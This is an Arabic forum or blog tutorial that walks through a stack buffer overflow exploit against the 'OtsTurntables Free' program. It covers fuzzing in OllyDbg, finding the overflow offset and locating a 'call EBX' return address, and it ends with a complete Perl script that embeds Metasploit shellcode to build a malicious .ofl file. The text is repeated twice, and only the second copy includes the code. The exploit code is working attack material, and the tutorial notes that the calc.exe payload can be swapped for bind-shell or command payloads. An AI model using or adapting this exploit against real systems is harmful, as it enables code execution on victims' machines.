بسم الله الرحمن الرحيم
حبيت اليوم انزل درس من شرحي بهذا المنتدى الجميل الذي تعلمت منه الكثير
بعد ملاحظة الخمول الذي يمر به
اتركم مع الدرس
مقدمة:
عندما يحاول المعلج ادخال بيانات اكثر من استطاعته(اكثر من المفروض)
ينتج عندها ما يسمى بالبيانات الزائدة
هذا يؤدي الى الكتابة فوق الذاكرة او حتى تحطم البرنامج أي عمل كراش
فيض المكدس:
يحدث فيض للمكدس عندما تتم معالجة بيانات زائدة للاتصال بالمكدس(data used for stack calling)
مما يسبب تخريب البرنامج. وهذا التخريب يمكن الاستفادة منه....
ايجاد الثغرة <الضعف:>
بهذا المثال سيتم الشرح على البرنامج التالي "OtsTurntables Free"
نفتح البرنامج olly
لنبدأ بادخال 1000 A
1- المسجل الذي تكتب به بياناتنا//سيتم استبداله بالشل كود الخاص بنا EBX//
EIP -2 يدل على التعلية الحالية -> يمكننا استخدامه ليشير إلى عنوان الشل كود الخاص بنا في المسجل EBX
3- المكدس -> حدث له فيض بالرقم41414141
4- حدوث خطأ عند معالجى العنوان 41414141 ->حدث فيض للمسجل EIPفهو لا يستطيع الوصول للعنوان 4141414
الان سنقوم بايجاد العدد المناسب من حرف A ، لاحداث الفيض في هذا البرنامج
دعنا نجرب
لم يحدث فيض للمسجل EIP إذا بين 200 و 300
لنجرب 250
ثم بين 250 & 300
نجرب 276
نجرب 280
دعنا نغير أخر أربع حروف و نستبدلها بالحرف B
إذا العدد 281 يحدث فيض في المكدس مما يؤدي إلى تغيير عنوان المسجل EIP ويجعله ييشير إلى العنوان 42424241
استثمار الثغرة:
ألان دعنا نجمع معلوما حول هذا الفيض ....
كما نرى ..
البيانات المدخلة موجودة في المسجل EBX , اذا الشل كود الخاص بنا سوف يكون في EBX
بما ان البيانات المدخلة موجودة في المسجل EBX بالتالي سنجعل المسجل EIP يشير الى EBX
بنية الاستثمار:
1-junkdata :البيانات الزائدة التي سنحدث بها فيض المكدس ....
2- NOPS :نحن بحاجته دائما حتى لو كان بايت واحد .......
3-shellcode :الكود الذي سينفذ امر (دالة) معينة مثل
cmd exec /bindshell /dll& exec
4-new EIP :العنوان الذي سيدل على المسجل EBX
ان حجم الفيض (الاوفر فلو)=284
سنقسمه على الشكل التالي:
4 بايت لعنوان EIP الجديد
160 بايت للشل كود
20 بايت ل NOP
97 بايت للبيانات الزائدة junk data
بناء الاستثمار::
-البيانات الزائدة
-ستكون على الشكل التالي
3-NOPS :ستكون على الشكل التالي:
90 بالهكس = NOP أي لاشيء
انتهى بحمد الله
ملاحظة الى اصحاب القص واللصق:
انا تعبت كثيرا في انشاء هذا الشررح
واذا كان عندكم ضمير الرجاء حفظ الحفوق
اخوكم Dark
سلام
www.the3kira.blogspot.com : المصدر
حبيت اليوم انزل درس من شرحي بهذا المنتدى الجميل الذي تعلمت منه الكثير
بعد ملاحظة الخمول الذي يمر به
اتركم مع الدرس
مقدمة:
عندما يحاول المعلج ادخال بيانات اكثر من استطاعته(اكثر من المفروض)
ينتج عندها ما يسمى بالبيانات الزائدة
هذا يؤدي الى الكتابة فوق الذاكرة او حتى تحطم البرنامج أي عمل كراش
فيض المكدس:
يحدث فيض للمكدس عندما تتم معالجة بيانات زائدة للاتصال بالمكدس(data used for stack calling)
مما يسبب تخريب البرنامج. وهذا التخريب يمكن الاستفادة منه....
ايجاد الثغرة <الضعف:>
بهذا المثال سيتم الشرح على البرنامج التالي "OtsTurntables Free"
نفتح البرنامج olly
لنبدأ بادخال 1000 A
1- المسجل الذي تكتب به بياناتنا//سيتم استبداله بالشل كود الخاص بنا EBX//
EIP -2 يدل على التعلية الحالية -> يمكننا استخدامه ليشير إلى عنوان الشل كود الخاص بنا في المسجل EBX
3- المكدس -> حدث له فيض بالرقم41414141
4- حدوث خطأ عند معالجى العنوان 41414141 ->حدث فيض للمسجل EIPفهو لا يستطيع الوصول للعنوان 4141414
الان سنقوم بايجاد العدد المناسب من حرف A ، لاحداث الفيض في هذا البرنامج
دعنا نجرب
كود PHP:
"800" A "400" A "300" A "200" A
لنجرب 250
ثم بين 250 & 300
نجرب 276
نجرب 280
دعنا نغير أخر أربع حروف و نستبدلها بالحرف B
إذا العدد 281 يحدث فيض في المكدس مما يؤدي إلى تغيير عنوان المسجل EIP ويجعله ييشير إلى العنوان 42424241
استثمار الثغرة:
ألان دعنا نجمع معلوما حول هذا الفيض ....
كما نرى ..
البيانات المدخلة موجودة في المسجل EBX , اذا الشل كود الخاص بنا سوف يكون في EBX
بما ان البيانات المدخلة موجودة في المسجل EBX بالتالي سنجعل المسجل EIP يشير الى EBX
بنية الاستثمار:
كود PHP:
junkdata + nops + shellcode + newEIP
2- NOPS :نحن بحاجته دائما حتى لو كان بايت واحد .......
3-shellcode :الكود الذي سينفذ امر (دالة) معينة مثل
cmd exec /bindshell /dll& exec
4-new EIP :العنوان الذي سيدل على المسجل EBX
ان حجم الفيض (الاوفر فلو)=284
سنقسمه على الشكل التالي:
4 بايت لعنوان EIP الجديد
160 بايت للشل كود
20 بايت ل NOP
97 بايت للبيانات الزائدة junk data
بناء الاستثمار::
-البيانات الزائدة
-ستكون على الشكل التالي
كود PHP:
"\x41" x 97
كود PHP:
"\x90" x 20
كود PHP:
4-shell code (exec CMD) : هذا الشل كود يشغل برنامج الالة الحاسبة calc.exe "\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61"
"\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13"
"\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f"
"\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b"
"\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30"
"\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72"
"\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd"
"\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e"
"\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52"
"\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56"; تم الحصول علية من موقع ميتا سبلويت
يمكنك الحصول على شل كود خاص بك من الرابط التالي:
[code]http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec[/code] 5-new EIP : ان عنوان EIP الجديد يجب ان يشير الى EBX
لذالك سنقوم بالبحث عن أي عنوان يشير الى EBX
البحث عن طريق olly ....
اكتب في مربع البحث EBX jmp او call EBX
لم نجد أي قفزة ل EBX في مثالنا
لكننا وجدنا call EBX
"004015E4"> هذا هو عنوان العودة المنشود
يتم كتابته عكسيا بالشكل التالي.. "\xE4\x15\x40\x00"
استعمال الاداة FINDJMP : عبارة عن اداة تستعمل للبحث عن القفزات في ويندوز موديلز< windows modules
مثل kernel32.dll
مثال findjump.exe kernel32.dll ebx
كما ترة استطعنا ايجاد عناوين كتيرة
كتابة الاستثمار:: لدينا الان كل المتطلبات لكتاية الاستثمار
انا افضل كتابة الاستثمار بلغة البيرل
#!/usr/bin/perl -w
# Define Variables my $junk = "\x41" x 97; #junkdata my $nop = "\x90" x 20 ; # nops my $ret = "\xE4\x15\x40\x00" ; # New EIP
# ShellCode , thanks metasploit my $shellcode = "\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61". "\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13". "\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f". "\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b". "\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30". "\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72". "\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd". "\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e". "\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52". "\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56"; my $exploit = "$junk.$nop.$shellcode.$ret"; #exploit structure my $file = "dark.ofl" ; #file name
## simple file handling open(my $FILE, ">$file") or die "Cannot open $file: $!";
print $FILE $exploit ; close($FILE);
print "Done \n";
ملاحظة الى اصحاب القص واللصق:
انا تعبت كثيرا في انشاء هذا الشررح
واذا كان عندكم ضمير الرجاء حفظ الحفوق
اخوكم Dark
سلام
www.the3kira.blogspot.com : المصدر
ضع تعليقك
0 commentaires:
إرسال تعليق